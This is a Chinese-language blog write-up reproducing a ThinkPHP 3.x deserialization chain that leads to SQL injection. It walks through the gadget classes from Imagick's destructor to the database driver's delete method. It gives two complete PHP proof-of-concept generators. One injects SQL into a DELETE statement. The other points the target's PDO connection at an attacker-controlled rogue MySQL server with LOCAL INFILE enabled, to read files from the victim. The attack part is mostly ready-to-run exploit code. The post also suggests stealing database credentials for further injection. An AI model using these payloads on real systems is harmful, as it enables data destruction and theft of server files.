tp3.x sql注入复现

Reference:

https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA


反序列化起点

ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

line 636 - line 642

1
2
3
4
public function __destruct()
{
empty($this->img) || $this->img->destroy();
}

在反序列化中,所有成员属性均可控。即 $this->img 可控。

如此一来,即可 无参数式 调用 TP 下任意类的 destroy 方法


destroy() 跳板

搜索 destroy 方法,找到三个存在 destroy 的位置:

其中两个类 Think\Session\Driver\Mysqli类 和 Think\Session\Driver\Db类 是直接调用 mysqli_query 进行数据库操作的,如下:


1
2
3
4
5
6
7
8
9
10
public function destroy($sessID)
{
$hander = is_array($this->hander) ? $this->hander[0] : $this->hander;
mysqli_query($hander, "DELETE FROM " . $this->sessionTable . " WHERE session_id = '$sessID'");
if (mysqli_affected_rows($hander)) {
return true;
}

return false;
}

由于 mysqli_query$hander 的值取决与 $this->hander,但是就算我们在序列化 POC 中进行 mysqli_connect ,句柄移植之后是不可用的,所以这个点只能放弃。


这里注意下, php7 调用有参数函数时必须传参,不然会报错。但 php5 则可不传参数调用有参数函数。


转头看第三个类 Think\Session\Driver\Memcache


1
2
3
4
public function destroy($sessID)
{
return $this->handle->delete($this->sessionName . $sessID);
}

由于 $this->handle 可控,我们可以调用任意类的 delete 方法。

并且由于跳到 destroy 方法时是 无参数调用。这里的 $sessID 是个无效的形参。用这个无效的形参去调用别的函数时,传入的参数会无效。所以这里调用 delete 的形参还是不可控的


Model delete() 跳板

全局搜索 function delete。找到 Think\Model


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function delete($options = array())
{
$pk = $this->getPk();
if (empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if (!empty($this->data) && isset($this->data[$pk])) {
//!
return $this->delete($this->data[$pk]);
//!
} else {
return false;
}

}
......
// 分析表达式
$options = $this->_parseOptions();
if (empty($options['where'])) {
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
......
$result = $this->db->delete($options);
......
}

$this->getPK()函数仅仅只是 return $this->pk;

所以 $pk 的值为 $this->pk


可以发现在 if 判断中,如果传入的 $options 为空,则重新调用 $this->delete() 方法 ,并且传入的参数为 $this->data[$pk]。这样子 *delete()*方法的形参 $options 就是可控的了。


分析表达式 流程中,重新为 $options 赋值,调用了 $this->_parseOptions()。该方法将会返回 $this->options

1
2
3
4
5
6
7
8
protected function _parseOptions($options = array())
{
if (is_array($options)) {
$options = array_merge($this->options, $options);
}
......
return $options;
}

分析表达式 流程后还判断了 $options[‘where’] 。需要确保 $options 中有该值


程序接着调用了 $this->db->delete($options),其中 $this->db 可控,并且 $options 可控,全局搜索 function delete。找到 Think\Db\Driver 类。

至于选择这个类的原因,因为它在后面构造 SQL payload 的时候比较方便。

Driver delete() 跳板


Think\Db\Driverdelete() 方法主要代码如下:

1
2
3
4
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM ' . $table;
......
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);

可是该类为抽象类,无法直接实例化。需要找一个继承它的子类,并且该类没有 *delete()*,这样程序调用的时候才能调用到父类的 delete() 方法。

最终找到 Think\Db\Driver\Mysql类 作为反序列化的实例化类。


delete()方法 最终调用了 $this->execute(),由于此类是专门用作数据库操作的,execute() 中并没有发现能 RCE 的点,也没有发现能当跳板的点。

不过注意到 execute() 的第一行

1
$this->initConnect(true);

跟进,发现当不存在 $this->_linkID 时,将会调用 $this->connect()

1
2
3
4
......
if (!$this->_linkID) {
$this->_linkID = $this->connect();
}

跟进,发现该函数使用 PDO 进行数据库连接,并返回了句柄

1
2
3
4
5
6
7
8
9
if (!isset($this->linkID[$linkNum])) {
if (empty($config)) {
$config = $this->config;
}
......
$this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options);
......
}
return $this->linkID[$linkNum];

返回句柄后,execute方法 将会根据 传入的 sql语句 执行sql。这里 传入的sql语句 就是 delete()方法 中的 $sql


基本Payload

至此,以上整个从反序列化到执行SQL注入的流程。根据以上流程,得出基本Payload:

Payload demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

//第三个跳板,也可以说是最终执行类
//由于执行类 Db 是抽象类,无法实例化
//遂使用其子类 Mysql进行实例化
//由于 payload 需要调用父类的 delete()
//子类必须没有 delete() 方法
namespace Think\Db\Driver{
class Mysql{
}
}

//第二个跳板 Model->delete()
namespace Think{
class Model{
protected $pk = 'exp';
protected $db = null;
protected $data = array();
protected $options = array();

public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
//$this->pk 的值需要和 $this->data 其中一个 key值 一致
$this->pk = 'x';
//$this->data 内容随意,只是过一个 if
$this->data = [
'x' => [
'a' => 111,
]
];
$this->options = [
//内容随意,也只是过一个 if
'where' => 1,
//$sql = 'DELETE FROM ' . $table;
//SQL 注入语句
//!!!注意!!!
//DELETE 是高风险操作,小心谨慎
'table' => 'mysql.user where 1=2 #'
];
}
}
}

//(1) 第一个跳板 Memcache->destroy()
//(2) 在这个方法中又调用了 $this->handle->delete($this->sessionName . $sessID);
//(3) sessionName 必须为空,如果为字符串传入的话,由于 $sessID 没有赋值
//最终调用 $this->handle->delete()时将会传入非预期值
namespace Think\Session\Driver{
class Memcache{
protected $handle = null;
protected $sessionName = '';

public function __construct(){
$this->handle = new \Think\Model();
}
}
}

//梦开始的地方
//调用地一个跳板 Memcache->destroy()
namespace Think\Image\Driver{
class Imagick{
private $img = null;
public function __construct(){
$this->img = new \Think\Session\Driver\Memcache();
}
}
}

namespace {
$a = new \Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

?>

开启 Debug ,追踪程序执行流程,发现 SQL 语句成功被控制


但是,由于我们无法知道目标服务器的 Mysql 配置,所以 SQL注入自然是跑不动的。

仔细查看数据库连接函数 connect 后,发现其 PDO 配置是我们可控的

1
2
3
4
5
6
7
8
9
if (!isset($this->linkID[$linkNum])) {
if (empty($config)) {
$config = $this->config;
}
......
$this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options);
......
}
return $this->linkID[$linkNum];

所以我们可以控制 tp3 连接的数据库,自然想到了 Rogue mysql server

原理简单来说是这样的:

mysql中有一个 SQL语句,为 LOAD DATA LOCAL INFILE。作用是将客户端本地的文件加载到数据库中。而 Rogue mysql server 可以任意读取 mysql 客户端的本地文件。

具体详情可见本博客的另一篇文章 :)

Rogue Mysql Server 简单分析

尝试让 tp3 连接 Rogue mysql server。修改 payload,增加数据库配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php

namespace Think\Db\Driver{
class Mysql{
//新增 mysql 配置
protected $config = array(
'type' => 'mysql', // 数据库类型
'hostname' => '192.168.92.164', // 服务器地址
'username' => 'root', // 用户名
'password' => '123456', // 密码
'hostport' => '3333', // 端口
);
//设置这个 PDO 才能 LOAD DATA LOCAL
protected $options = array(
//需要在前面加一个 \ 。不然将会报 PDO not found 的错误
\PDO::MYSQL_ATTR_LOCAL_INFILE => true,
);
}
}

namespace Think{
class Model{
protected $pk = 'exp';
protected $db = null;
protected $data = array();
protected $options = array();

public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->pk = 'x';
$this->data = [
'x' => [
'a' => 111,
]
];
$this->options = [
'where' => 1,
//!!!注意!!!
//DELETE 是高风险操作,小心谨慎
'table' => 'mysql.user where 1=2 #'
];
}
}
}

namespace Think\Session\Driver{
class Memcache{
protected $handle = null;
protected $sessionName = '';

public function __construct(){
$this->handle = new \Think\Model();
}
}
}

namespace Think\Image\Driver{
class Imagick{
private $img = null;
public function __construct(){
$this->img = new \Think\Session\Driver\Memcache();
}
}
}

namespace {
$a = new \Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

?>

成功读取客户端文件


自此文章就写到这了,本来二月十多号开始写的,中间停停写写,最后拖到现在才全部写完。。。

该漏洞还可继续利用,通过 Rogue Mysql Server 读取 tp3 的 数据库配置,再利用该配置进行 SQL注入。具体的 Reference 中写了,膜拜下奶权师傅